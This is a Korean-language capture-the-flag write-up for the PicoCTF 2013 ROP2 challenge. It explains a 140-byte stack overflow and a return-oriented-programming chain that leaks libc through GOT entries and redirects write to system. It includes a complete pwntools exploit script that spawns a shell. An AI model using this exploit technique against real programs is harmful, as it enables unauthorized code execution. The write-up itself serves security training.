Pico CTF 2013 ROP2 write-up
Pico CTF 2013 ROP 2 문제를 풀이했다.
[바이너리]
메모리 보호 기법 확인을 해보면
이렇게 Partial RELRO 와 NX가 걸려있는것을 확인 할 수 있다.
실행을 했을때 rop1 과 동일하게 Hello, World 만 뱉어준다.
[Think-1]
메모리 보호 기법중 NX 가 걸려있으므로 쉘코드를 스택에 올려서 쉘을 띄울 수는 없다.
또 Partial RELRO가 적용되어서 .got를 제외한 섹션은 Read-Only 이다.
ASLR은 자체적으로 걸어두었다.
바로 정적분석을 위해 IDA로 열어봤다.
main() 의 모습이다.
저 중 vulnerable_function() 가 있는데 주석을 달아놓은것 처럼 140byte를 입력하면 SFP가 덮이고, overflow가 일어난다.
vulnerable_function()의 내부 모습이다.
여기서도 not_called 라는 함수를 찾을 수 있었는데
이번에는 system("/bin/date"); 로 날짜정보를 출력해주는 것을 알 수 있다.
[Think-2]
쉘코드는 안되니 다른 기법을 사용해야하는데
read()와 write()를 이용하여 ROP를 하면 되겠다.
ROP 를 하기 위해 필요한 것들을 구해주고 pwn 모듈을 사용하여 Payload를 만들어줬다.
read()와 write()에 대한
plt 와 got는 IDA와 gdb를 이용하여 구하고
/bin/sh 을 저장할 bss의 주소와 함수 인자를 정리하며 연속적으로 함수를 호출에 필요한 pppr gadget은
objdump 로 구해주면 된다.
그리고 system_offset은 gdb를 이용하여 구하면된다.
따라서 이런 payload를 완성했다.
[payload.py]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | from pwn import * p = process('./rop2-20f65dd0bcbe267d') bss = 0x0804a028 pppr = 0x804859d read_plt = 0x08048380 read_got = 0x804a000 write_plt = 0x80483d0 write_got = 0x804a014 system_offset = 0x99a10 payload = 'A' * 140 payload += p32(write_plt) payload += p32(pppr) payload += p32(1) payload += p32(read_got) payload += p32(4) payload += p32(read_plt) payload += p32(pppr) payload += p32(0) payload += p32(bss) payload += p32(8) payload += p32(read_plt) payload += p32(pppr) payload += p32(0) payload += p32(write_got) payload += p32(4) payload += p32(write_plt) payload += "AAAA" payload += p32(bss) p.send(payload) read_addr = u32(p.recv()[-4:]) system_addr = read_addr - system_offset p.send("/bin/sh\00") p.send(p32(system_addr)) p.interactive() | cs |